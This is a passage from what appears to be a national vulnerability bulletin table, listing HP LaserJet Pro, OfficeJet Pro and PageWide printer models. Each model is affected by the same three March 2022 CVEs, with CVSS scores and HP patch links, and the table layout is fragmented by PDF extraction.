N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/366
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/367
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/368

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: laserjet_pro_mfp_m428-m429_w1a33a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/369
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/370
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/371
Product: laserjet_pro_mfp_m478-m479_w1a75a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/372

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/373
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/374
Product: laserjet_pro_mfp_m478-m479_w1a76a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/375
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/376

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/377
Product: laserjet_pro_mfp_m478-m479_w1a77a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/378
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/379
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/380

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: laserjet_pro_mfp_m478-m479_w1a78a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/381
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/382
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/383
Product: laserjet_pro_mfp_m478-m479_w1a79a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/384

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/385
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/386
Product: laserjet_pro_mfp_m478-m479_w1a80a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/387
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/388

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/389
Product: laserjet_pro_mfp_m478-m479_w1a81a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/390
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/391
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-LASE-070422/392

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: laserjet_pro_mfp_m478-m479_w1a82a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/393
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/394
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-LASE-070422/395
Product: officejet_pro_8210_d9l63a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-OFFI-070422/396

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/397
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/398
Product: officejet_pro_8210_d9l64a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/399
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-OFFI-070422/400

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/401
Product: officejet_pro_8210_j3p65a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/402
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/403
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-OFFI-070422/404

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: officejet_pro_8210_j3p66a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/405
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/406
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/407
Product: officejet_pro_8210_j3p67a					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/408
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/409
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/410
Product: officejet_pro_8210_j3p68a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/411

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/412
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/413
Product: officejet_pro_8216_t0g70a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/414
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/415

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/416
Product: officejet_pro_8730_d9l20a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/417
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/418
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/419

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: officejet_pro_8730_k7s32a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/420
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/421
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/422
Product: officejet_pro_8740_d9l21a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/423

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24291		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/424
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/425
Product: officejet_pro_8740_j6x83a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/426
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/427

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24292		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/428
Product: officejet_pro_8740_k7s39a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/429
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/430
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution.	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/431

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24293		
Product: officejet_pro_8740_k7s40a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/432
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/433
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/434
Product: officejet_pro_8740_k7s41a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/435

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24291**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/436
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/437
Product: officejet_pro_8740_k7s42a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/438
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/439

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/440
Product: officejet_pro_8740_k7s43a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/441
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/442
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/443

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: officejet_pro_8740_t0g65a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/444
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/445
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-OFFI-070422/446
Product: pagewide_352dw_j6u57a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/i	H-HP-PAGE-070422/447

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/448
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/449
Product: pagewide_377dw_j9v80a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/450
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/451

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**		
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/452
Product: pagewide_managed_p55250dw_j6u51b					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/453
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/454
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/455

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**		
Product: pagewide_managed_p55250dw_j6u55a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/456
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/457
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/458
Product: pagewide_managed_p55250dw_j6u55b					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-PAGE-070422/459

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/460
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/461
Product: pagewide_managed_p57750dw_j9v82a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/462
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-PAGE-070422/463

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/464
Product: pagewide_pro_452dn_d3q15a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/465
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/466
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential	https://support.hp.com/us-en/document/i	H-HP-PAGE-070422/467

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	sh_5950417-5950443-16	
Product: pagewide_pro_452dw_d3q16a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/468
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/469
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/470
Product: pagewide_pro_477dn_d3q19a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-PAGE-070422/471

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/472
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/473
Product: pagewide_pro_477dw_d3q20a					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/474
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to	https://support.hp.com/us-en/document/i	H-HP-PAGE-070422/475

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	sh_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	H-HP-PAGE-070422/476
Product: pagewide_pro_552dw_d3q17a					
